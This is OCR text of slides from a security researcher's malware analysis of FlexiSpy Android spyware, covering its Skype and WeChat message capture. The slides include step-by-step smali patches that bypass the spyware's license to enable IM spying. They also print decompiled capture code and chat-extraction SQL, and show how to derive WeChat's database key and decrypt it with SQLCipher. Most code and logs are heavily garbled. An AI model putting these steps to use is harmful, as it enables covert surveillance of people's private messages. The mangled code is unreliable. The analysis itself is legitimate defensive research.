Activationlistener vl = this.getBActivationListener();
try {
if (Exechctivate.LOGV) {
Fialog.v("Exe

if(v3 == null || v3.trim{).length{) <= 0} |
this.mactivationManager.activate(v0, vl);

}
else |

this.midctivationManager.activate (v3, w0, wl)»
}
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How to Bypass License

* Patch smali code in PrefIMCaptureSettings.smali for the class
com.vvt.preference.PrefIMCaptureSettings. We patch the methods isXXXXXEnable() to have their
return value be true.




=:RTINET.
How to Bypass License

e Patch the method managelmCapture in the class com.vvt.appengine. AppEngineHelper. We only
patch this method to enable IM capture, if you want to enable other spy functionality, you can
find the related method in class AppEngineHelper and patch it. This method is used to manage IM
capture, here we patch its local variables like isXXXEnabled and isXXXSupported as follows.

Patch it.




==:RTINET.

How to Bypass License

 Patch the six parts of smali code, one thing to note is that only the 3" patch is located in client
(classes.dex in 5002 -2.25.1 green.APK), other five patches are located in code in
server(/data/misc/adn/maind.zip). The following is the steps of repackaging app.

= Patch the 3" smali code in classes.dex in APK file 5002_-2.25.1_green.APK, repackage the
APK with apktool, then sign and reinstall it.

= Patch the other five smali codes in classes.dex in jar file maind.zip, compress it and push it
into the folder /data/misc/adn/ on the device.

= Reboot the device.

e After patching the six parts of smali codes, we can bypass the license. For now, the patched spy
app has an ability of spying IM.
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==:RTINET.
Two Spy cases on Skype and WeChat

* Spy on Skype for android
* Spy on WeChat for android
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Spy on Skype for android

public static

ayList captureNewEvents(5(QLiteDatabase argl5, long arglé, String argl8, long argl9, Stcring arg2l, ImParameters arg22, SQLiteDatabase arg23, boolean arg24, SQLiceDatabase arg25, String arg2

if (SkypeCapturingdelper.LOGV) [
I FrLog.v("Sk C turingHelper", "captureNev ents 4 ENTER... refld: " + arglé) .'I capturelewEvents # ENTER... refid: 1592

w13 = new
= null;

yList() >

* FlexiSpy uses FileObse

query: SELECT DISTINCT m.id, convo_id, chatmsg_status, chatmsg_type, m.type, body_xml,
m.timestamp, author, from_dispname, participant_count, participants,

try {

.
String w12 =ISky‘pecap:uring[-lelpar.qe:QueryS:a:EmEnt () :I N - PO,
S ky p e . G e n e ra I Iy' I n I I\ LF (SkypeCapruringeiper 1067 [ displayname FROM Messages m LEFT JOIN Conversations conv ON m.convo_id =

conv.id LEFT JOIN (SELECT * FROM Chats GROUP BY (conv_dbid}) as ¢ ON m.convo_id =

FxLog. :
*Leg.v( c.conv_dbid WHERE m.id > ? AND m.id <= ? AND (m.typa T (61, 63, 68, 70, 201, 202, 253, 254, 255))ORDER BY m.id DESC

CapturingHelper", "captureNew

nts # gquery: " + vl2);

¥ 1592 1651
SkypeCbaerverCenter. lastOvnerld = vl; w3 = arglS.rawQuery(vl2, mew String[]{ETalg + "*, argld + ""});:
Skypelbzserverlenter.this.mFxFile0bserverforker = new | if(v3 != null) {

wl3 =|Sky‘pecap|:uringﬁelper.kEEannversa:inn(anng, w3, argl8, arg?l, arg22, arg23, arg24, arg2s, amzﬁ::l

SkypeCbserverCenter.this.mFxFileObserverForker .Is tart Ei )

else if (SkypeCapturingHelper.LOGD) {
FxLog.d("S turingHelper",

* Onceachangeisdete ... .. ..
main.db is not encryp i

¥

executing SQL query. —

1
catch(Exception w1l) {
Ery {
if (SkypeCapturingHelper.LOGE) {

° SQL query Of get“ng i | ma-eCTmeca e, |
» SELECT DISTINCT m.id, con
participant_count, particir s e

FROM Chats GROUP BY (cc goto label
70, 201, 202, 253, 254, 25°

nts # cursor is null");

pturele:

rents err ", ({(Throwable)wll)):

{

{

if (SkypeCapturingHelper.LOGV) |
FxLog.v("Sk turingHelper", "

tureler

ents 4 EXIT..."):
1

return v13;

-
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Spy on Skype for android

Copy the database file main.db in the folder /data/data/com.skype.raider/files/kevinlu0306/ to
local disk and open it using SQLite Expert Personal tool. And execute the above SQL query, the
result of query is the record that includes a tested chat message sent by me. The record includes
chat message content, timestamp, chat message type, message sender, message participants, etc.
In this test case, the chat message sent is “Test hahahha”.

m. SQite library: sq
<[] main Database Data DDL Design SQL

] Acc

5QL: *<Untitled>

T Al

ﬁ Apps chemaVersion 1 SELECT DISTINCT m.id, convo_id, chatmsg_status, chatmsg_type, m.type, body xml, m.timestamp, author, from dispname, participant_count, partl:lpa displayname FROM

-] CallHandlers = m LEFT JOIN Ci ions conv OF m.convo_id = conv.id LEFT JOIN (SELECT * FROM Chats GROUF BY (comv_dbid)) as ¢ ON m.conve id = c. db d WHERE m.id >[Z]AND m

7 CallMembers =0 .id <=[2]AD (m.type IN (81, 63, 62, 70, 201, 202, 253, 254, 255))ORDER BY m.id DESC

- calls .

7 ChatMembers Kevin Lu

-~ Chats
[T ContactGroups

-] Contacts

(] Cont ntsharings M| €|» [W]|#|=]|a]|e|X|0] Eearesol || StopQuen *<Untitled> @

--ﬁc ©
@

[ ConversationViews id convo_id chatmsg status  chatms, g_type type body xml timesta mp  author  from _dispname participant_count participants displayname
-] Dat Ch nels (empty) |(empty) (empty) (empty) (empty)  |(empty) (empty) (empty) (zmpty) (mpty) (empty) (empty)
[ DbMeta R 750 1 3 61| Test hahahha 1494978622 | kevinlu0306 | Kevin Lu 2| W kevinlu0306 Kevinlu |

- LegacyMes
B Memsuocuments
- ] MessageAnnotations

B Messages
-7 Part o
B SMS
-~ tra Unumal
=] T nsfer: *
-] Translat o
[ vide: M sages
-] Videos S
7 Voicemai Is w A
o
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Spy on Skype for android

* The method keepConversation()

private static 2
RegResult v43;
Direction v33;
if {SkypeCapturingHelper.LOGV) |

FxLog.v (" Sk

vList keepConversation({SQLiteDatabase arg53, Cursor arg54, String argS5, String arg56, ImParameters arg57, SQLiteDatabase argS58, boolean arg59, SQliteDatabase arg60, String argél) |

turingHelper",

nversation # ENTER...");

vLiat v47 = new
int w43 = 0;
SimpleDateFormat v31l = new SimpleDateFormat("d
if{arg54.moveTolast{}) {
if (!SkypeCapturingHelper.LoGV) {

goto label 3

FaLog.v{"

uringHelper”, "keepConversation # ENTER While loop...

OwnerInfo v36€ = SkypeCapturingilelper.getOwnerInfo(arg53, argbds, argte):
SkypeMeasageData v7 = new SkypeMessageData();

SenderInfo v45 = new SenderInfo():
ConversationInfo v29 = new ConversationInfo(
int w13 = argS54.getInt(arg54.getColumnIndex (i
String v& =[argS4.getString(arg54.gecColumnIndex( xml™) )z |

- v8="Test hahahha", it's the chat message tested.
if (SkypeCapturingHelper JOGV) { _'___,__.--""""
[Extog-w(” turingHelper", “onversation # text (BODY 3 "+ Bl |

String 28 = arg54.getString(arg54.getColumnindex (" convo_id"});
String w30 = argS54.getString(arg54.getColumnIndex ("disp. mame") ) ;
int 26 = !arg54.isNull{arg54.getColumnindex ("chatmsg type")) ? argh4.getlnt{argii.getColumnindex('chatmsg type")) : 07
iF(v26 '= 2 55 v26 '= 6 s& v26 '= 5) |
String v44 = argS4.getString({arg54.getColumnIndex ("author"});
String v46 = argS4.getString(argS4.getColumnlndex ("from dispname”));
int v52 = argS54.getInt{arg54.getColumnIndex ("type’));
long v14 = argS4.getlong(arg54.getColumnIndex (" timestan
long w50 = w14 * 1000;
String v32 = v31.format(new Date (v50)):
String v39 = argS4.getString(arg54.getColumnIndex ("
if (SkypeCapturingHelper.LOGV) {
FaLog.v{"SkypeCapturingHelper",

* The log file related to chat message is shown below.

articipants"))s

lonversation # c

tMsgType: " + w26 + " type: " + w52 + U text: " + v8):

V/S5kypeCapturingHelper | 1308): (tid:78|SkypeCaptureThread) keepConversation # text (BODY_XML) :| Test hahahha

V/5kypeCapturingHelper( 1308): (tid:78|5kypeCaptureThread) keepConversation # chatMsgType: 3 type: 61 text:

... ..
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Spy on Skype for android

* The spyware could create a directory .skp_store in path /data/misc/adn/, it includes two sub-
directories owner_profiles and user_profiles. The directory owner_profiles stores the profile
files(image file format) of owner, and the directory user_profiles stores the profile files(image file
format) of user(contacts).

cad: /data/misc/adn/.

ﬁ»ﬂr"_[:lr"l:lelEE # 1s -1s

ouner_
ouner
root

root 00T

- pr 11'11»-'

* The log of saving owner profiles and user profiles is shown below.

V/FileUril({ 1308): (rid:78|SkypeCaptureThread) saveFile # ENTER ...

V/FileUcil( 1308): (tid:78|SkypeCaptureThread) sawveFile # path: i‘dc‘;c;’n.l:c.-‘c:ir..—",.sk':: store/owner profiles/owner ;iE“:?"EESSEéEI
FAFileUcil (| 1308): (tid:7&|SkypeCaptureThread) saveFile # EXIT ...

: (£id:78|SkypeCapcureThread) saveFile § ENTER ...

)& (tid:78|SkypeCaptureThread) saveFile # pach:[/data/misc/adn/.akp atore/user profiles/user profile 1454578633885]

8): (tid:78|SkypeCaptureThread) saveFile & EXIT ...
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Two Spy cases on Skype and WeChat

* Spy on Skype for android
* Spy on WeChat for android
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Spy on WeChat for android

* There’s a minor difference between spying Skype and spying Wechat. For Skype, its database file
is not encrypted, FlexiSpy can directly monitor the database and execute SQL query to get the
chat messages. But for Wechat, its database file is encrypted, FlexiSpy cannot directly execute
SQL query to get the chat messages, so it’s required to decrypt the database file before executing
SQL query.

C G m

O m

< .

< About

Test wechati##i# . e
o --

888 testwechat
What's Fresh
Check for Updates
chat message tested.

Terms and Privacy
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Spy on WeChat for android

* Like spying Skype, Flexispy monitors the database file in Wechat using FileObserver when spying
Wechat. Additionally, it also monitors shared preference file system_config_prefs.xml.

private void startSystemConfigPrefFilefbserver() {

if (this.m8ystemConfigPrefFiledbserver == null) [
if (WeChatObserver. LOGV) |
FxLlog.v({"WeChatObserver", "startDatabaseMonitorWithDatabasePath # Start database (%s) monitoring", new Cbject[]{"/data/data/com.tencent.mm/shared prefs/system config prefs.mml"});

t

this.mSystemConfigPrefFileObserver = new SystemConfigPrefFileObserver(this, "fdata/data/com.tencent.mm/shared prefs/system config prefs.mmi]);:
this.mSystemConfigPrefFiledhserver [EIEIaaltide
}
else |
if {!WeChatObserver.LOGE) [
return;

}

FxLog.e("WeChatObserver", "startDatabaseMonitorWithDatabasePath # Already running”);
}
}

* In the class com.vvt.capture.wechat.WeChatUtil, the method
copyDatabaseTolLocalFolderAndDecrypt is used to copy database file from private folder of
Wechat to local folder, get the decryption key and then decrypt the database file that contains
Wechat chat messages.
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Spy on WeChat for android

* Find the full path of database. The folder name of current owner is a MD5 hash code
ed539505124b60982bc82d875e61a2c0 that is calculated from md5(“mm1028071100”). So the

full path of the database file is
/data/data/com.tencent.mm/MicroMsg/ed539505124b60982bc82d875e61a2c0/EnMicroMsg.db.

The database file EnMicroMsg.db is the message database of Wechat and encrypted with AES
algorithm.

public static String getCurrentOwner() |

if {(WeChatCapturingHelper.LOsSV) |

FxalLog.v("WeChatCapturingHelper”, "getCurrentOwner # ENTER...");
}

ing w0 = nulls /’_’ Get uin from /data/data/com.tencent.mim/shared_prefs/system_config_prefs.xml,
|=::i_-_:| 72 — Werha tUt 1.getuin() ;] here uin is "1023071100".

if{!'FeStringUtils.isEmpty0rHull (+2)) {
try {
|W eChatCapturingHelper.md5s ("ae o + w2): |_.______*

f‘ e ;h tCapturingielper. 106V { v0 = md5("mm"+"1028071100") ="ed539505124b60932bc82d875e61a2c0”
goto label 25;
}
Fialog.v ("WeChatCapturingHelper", "getCurrentOwner # currentOwner : %s", new Cbject[]{v0}});
}
catch(E pticn w1} {
E{ h “h tCa pturlngH lper.LOSE) |
goto labkel 25;

i
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Spy on WeChat for android

* How to decrypt message database EnMicroMsg.db?

v2 = LinitedWeChatUtil.getBusyboxPatch (arg26):

w13 = WeChatUtil. ToLocalFolder(v14, arg27, w2, arg29);
w20 -[Path combine (arg26, "panzer"); | ~—._____’ puvatc static String gecDecryptHey argld) {
iF(!ShellUtil, iaFileExisted(va0)] [ [data/misc/adn/panzer v3 = WeChatUtil.getUin{);
if(WeChatleil. 10GE) | vl = null;
Fulog.e( i1, pyDatak derindDecrypt #§ %s does not . t[]{va0}): Af{!ExStringUtils. isEmpeyOrltull (v3)) {
} vl = 5.format ("%s echo -n ¥s&s BE &3 cut -c¢ -7", arglQ, arg9, v3, arglo, a:qlDJ:l
if(WeChatTtil.IOGV) {
return v5; FxLog.v("WeChatUtil®, "getDecryptFey # c i &s", new Cbject[](v0});
} 1
1!(Fx5tr1nf:UC - isEmpryOrull {vi3}) { Jdata/mise/adn [ busybox echo -r WTTRGRGGEGEIRNN 1023071100 | [data/misc/adn/busybox mdSsum | [data/misc/adn/busybox cut -¢ -7

goto 1

_p KEY=5f334bd

19 v4 = WechatUtil.getDecryptkey (arg2e, v2) 3
l3.isEmpty0ziull (vd)) |

w13 = She] etRootShell(); [data/misc/adn/panzer [data/misc/adn/com.tencent.mm/EnMicroMsa.db

format("cd Bs", v1d)):

format ("rm ®s", v6));:
" chy ws", ¥20)):

vi7.
vi7.add("
vi7.
vi7.
wi7.add("

TCor wil = wlT.ICeracory] s
vnuewn hasfext

)i / SQL sentences to decryption in SQLCipher

+ vi5):
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* The algorithm of getting decryption key is shown below.

Decryption KEY = MDS5(IMEI + UNI)[@:7]
Md5 = 5f834bde519188712812ff49ebaste36

KEY = 5f834bd

» After getting the decryption key, Flexispy uses SQLCipher to decrypt the database file
EnMicroMsg.db.The binary file /data/misc/adn/panzer is SQLCipher version 3.11.0 which is an
open source extension to SQLite that provides transparent 256-bit AES encryption of database
files.The SQL query of decrypting database in SQLCipher is shown below.

PRAGMA key = '5T83 4L1
PRAGMA c1phwr us
PRAGMA cipher pa
PRAGMA kdf ite

ATTACH DATABASE "decrypted_database.db™ AS decrypted_database KEY ™";
SELECT sglcipher_export(“decrypted_database™);
DETACH DATABASE decrypted_database;

* The decrypted database file decrypted_database.db is located in folder
/data/misc/adn/com.tencent.mm/.
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* The decrypted database of Wechat in SQLite Expert Personal tool.

Database: decrypted_database File: P |_database.db SQLite library: sqlite3.d|l 3.18.0 [FTS3 FTS4 FTS5 RTREE]  Style: [Iceberg Classico -
| [Dabise| Data  DDL Design sl
M [—ostabases
7 AdRecort Database Status  File Name FleSize Tables Views Indees Triggers
[ ABTestinto »main | Connected p dtabase.db) nsmao| w3 o am| o
= ABTestitem
7] AddContactantispamTicket
[T addr_uploadz Database properties. Library/Session/Connection properties
7 sppatach = = ey || aton Vo [
3 spobandmsuge ¥ applicationjd__ [0 » automatic_index an
:\‘ ArpMesage auto_vacuum | none busy timeout 3000
[ appsort cache_size -2000 cache_spill 765
1 BeckunMoveDeviceMoveTime collation st | (BINARYL [NOCASEL (RTRIM) case senstiv like off
7] BackupPeRecoverSessioninfo. encoding uTF-8 cellsiee_check ot
7 BackupPcRecoverTaginfo foreign keys |on checkpaint fulfiyne | ff
] BizChatConversation freelist_count 0 compile_options [COMPILER= msve-1900], [DEFAULT_SYNCHRONOUS=2],
7 Bixchatinto Joumalmode ague IDEFAULT WAL SYNCHRONOUS=2],
P bizchatmessage < [ENABLE COLUMN METADATAL (ENABLE FTS3L
7 BisChatMyUserlnfo Joumal tis. b1 [ENABLE FTS3 PARENTHESISL (ENABLE FT54).
0 pcramne agacy.fileformat] off [ENABLE_FTSS], (ENABLE JSORIT), (ENABLE RTREE],
0 oy e toun | 1073741823 [SOUNDEX), [SVSTEM_MALLOC] [THREADSAFE= 1]
izEnterprise data_version 2
i mmapsze [0 z
: :u,q’ page_count 1130 defer foreign_keys off
7 bottlecontact page size 1024 fulveyria Cil
= bottleconversation schema_verion | 249 ignote_check constiaints off
= bottlaintol [EE— 0 locking_mode. normal
[T bottlemessage ‘writable_schema |off query_only off
I Cordbsginfo rend_uncommitied | off
[ chatroom recurive triggers ait
" chattingbinfo reverse_unordere select | off
7 contact secure_delete off
: Comac st soft heap.limit o
[ ContactlabelCache 3 ||| opmehronous ful =

* Next, the program could start reading the decrypted database decrypted database.db, and
execute SQL query to get chat message record.

public static Z t captureNewEvents(
if (WeChatCapturingHelper.LOGV) {
FxLog.wv{"WeC turingHelper",

g arg9, long arglO, long argl2, SQL base argl4, ImParameters argl5, S{. argl7) {

pturele:

vents # ENTER... refId: " + argl0):

SELECT msgld, m.msgSvrld, createTime, talker, m.conten
execute SQL sentence to get chat message record. ON m.talker = c.username LEFT JOIN chatroom ON
chatroomname = m.talker WHERE m.type
= null; IN (1, 43, 48,3,34,62) AND msgld > ? AND msgld <= ?
if (argld != null) | ORDER BY msgld DESC

try [
v2 = ar.‘gld.IranueryI('ie[.'hat.CapburingHElpEr.getQuerySt.al:emnt.(‘, new String[]{argl0 + "', argl2 + ""}};
if (v2 '= nully {
w7 =IWeL‘hatCapturln;Helper.keep(:nnversat1nn{argl4, argd, v2, argls, arglé, argl7) :I
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* The method keepConversation(): Get the chat message content.

private static Arraylist<WeChatData> keepConversation(SQLiteDatabase db, String writablePath, Cursor cursor, ImParameters imParameters, SQLiteDatabase avatarDatabase, String currentOwner) {

Arraylist<WeChatData> datalist = new Arraylist();
Direction direction = Direction.UNKNOWN;
String senderld = null;
SimpleDateFormat simpleDateFormat = new SimpleDateFormat("dd/MM/yy HH:mm:ss™);
LocationInfo locationInfo = null;
if (cursor.moveTolast()) {

if (Loav) {

FxlLog.m82v(TAG, "keepConversation # ENTER While loop...");
1
I

do {
Arraylist<Strings participantArray; /

Iterator i$;
OwnerInfo ownerInfo etOwnerInfo(db, writablePath, avatarDatabase, currentOwner, imParametErs.getAppLinuxUSErId())ﬂ
WeChatData [weChatData = new WeChatData();|
SenderInfo senderInfo = new SenderInfo();
ConversationInfo conversationInfo = new ConversationInfo();
Arraylist<Attachment> attachments = new Arraylist();
boolean canAdd = true;
int isSend = cursor.getInt{cursor.getColumnIndex(COLUMN_TISSEND));
if (Loav) {

FxLog.m82v(TAG, "keepConversation # isSend:" + isSend);

Get ownerlid:Doooood and ownerll

It's a customed class that formats data of chat.

\
I
if (isSend == 1) {

direction = Directicn.OUT;
]} else {

direction = Direction.IN; Get the chat message content,

y

1

String text = fcursor.getString(cursor.getColumnIndex( "cantent™)); |

String conversationId = cursor.getString(cursor.getColumnIndex(COLUMN_TALKER));
String conversationlame = cursor.getString(cursor.getColumnIndesx(COLUMN_NICKNAME) );
int msgType = cursor.getInt(cursor.getColumnIndex("type"));

long time = cursor.getlong(cursor.getColumnIndex(COLUMN_CREATE_TIME));

long msgSvrld = cursor.getlong(cursor.getColumnIndex(COLUMN MSGSVRID) );

string dateTime = simpleDateFormat.format(new Date(time));

String memberlist = cursor.getString(cursor.getColumnIndex(COLUMN_MEMBER_LIST));

* The method toString() in the class WechatData, which include

sender, participant(receiver),etc.

public

g toString() {

g der v2 = new dexr{);

v2.append|"\ntextRepresentation: ' + this.textRepresentation);

v2.append{"\ntext: " + this.data);

v2.append eTime: " + this.dateTime);

v2.append er: " + this.senderInfo.getSenderUid() + "|" + this.senderInfo.getSenderName());
v2.append ersation: " + this.conversationInfo.toString()):

r v0 = this.participants.iterator();

wh11e(v0 hasllext

"+ vl.next().toString(});

1
if (this.sherelocationDats '= null & this.sherelocationData.getlatitude() !'= 0) |
+ this.sherelocationData.getlatitude() + '," + this.sharelocationData.getlongitude() + ") naue: " + this.sharelocationData.getPlaceName());
i
if(this.attachments '= null s& this.sttachments.size() > 0 ss this.attachments.get(0) '= null) |

+ this.attachments.get(0).getAttachmentName() + " " + this.attachments.get(0).getAttachmentPath());

return v2.toString();

at message text, timestamp,
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* We can see the chat message text is “SSS testwechat” tested by me in the log file .

V/WeChatCapturingHelper | 1308): (tid:83|WeChatCaptureThread) keepConversation # magType: 1, text: msgSvrld: 4142047058102555392, isGroupChat: false

I/WeChatCapturingHelper({ 1308): (tid:83|WeChatCaptureThread) Adding WeChatData:
I/WeChatCapturingHelper | 1308): textRepresentation: 1

—_—(__‘____.’ The chat message sent by owner.
I/WeChatCapturingHelper | 1308): text: |25& testwechat
I/WeChatCapturingHelper | 1308): dateTime: 17/05/17 06:35:35

I/WeChatCapturingHelper | 1308): sender: Sl | SN Recevier to the chat message.

I/WeChatCapturingHelper | 1308): conversation: ConverszationInfo { H %, Id: wxid €351103510513, PicturePath: null, Status: null

I/WeChatCapturingHelper (| 1308): participant: IPaIticipant. { Hame: %, Uid: wxid_ 6351103510513, Contact: null, Status: null, PicFath: }

I/WeChatCapturingHelper (| 1308): ownerData: OwnerInfo { Name: NI, Uid: aafWENEe Contact: null, ProfilePicPath: , Status: nulltoken: null }
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* The following is the list of app spy supported by FlexiSpy f

* We can see the IM apps supported includes Facebook, Ha
Skype, Snapchat, Telegram, Tinder, Viber, WhatsApp, WeC
software. Besides, FlexiSpy for android can spy on camera
calendar, etc.

v {1 capture

1 audio

1 browserurl
1 calendar
1 calllog

1 callrecorder
1 camera

1 chrome

1 core

B email

1 facebook
1 hangouts
£ hike

1 instagram

8 kik

# line

1 location

# mms
1 password

Lo

H sms

f snapchat

fH telegram
£ tinder

1 viber
# wa

1 wallpaper

1 yahoo

2, QQ,
ypular IM
io, chrome,
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Summary

FlexiSpy for android is all-in-one spyware and designed sophisticatedly and very complicated. The
spy app supports full IM tracking, VolP call recording& live call interception, it also can spy on
messages, GPS, Multimedia, Internet, Applications, etc.

In order to support all spy features, it’s required that the android device has been rooted.

The spy app setups the startup script. When the device is rebooted, the startup script could be
executed to start some daemon processes.

Generally, in IM software on mobile device the chat messages are stored as database file. Some
databases might not be encrypted like Skype app, it’s easy to execute some SQL queries to gain
the sensitive info related to chat message after rooting the android device. Other databases might
be encrypted like WeChat app, it seems that it’s more secure, but the private key is still calculated
via reversing engineering the IM app. Once the private key is got, you can decrypt the database
using it.
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* Even when | uninstalled FlexiSpy for android-app (package: c
activity is always ongoing. | tested Skype and WeChat app af
“com.android.systemupdate”, it’s stjll successful to monitor t

date-1.a

* The working directory of FlexiSpy is /data/misc/adn/. The filef
android.

* For normal users, if you found the file fx.log in the directory
android device is being spied by FlexiSpy for android, you ca
FlexiSpy.

1ibflhtcco
1ibfllge
1ibflm

Mmoo
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Reference

* https://github.com/Te-k/flexidie

e http://www.cybermerchantsofdeath.com/blog/2017/04/23/FlexiSpy.html

* http://www.cybermerchantsofdeath.com/blog/2017/04/23/FlexiSpy-pt2.html
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Thank You!

Kai Lu(@k3vinlusec)
Email: kailu@fortinet.com

The full detailed analysis paper has almost 70 pages and will be released after
conference.

60


https://twitter.com/K3vinLuSec
mailto:kailu@fortinet.com

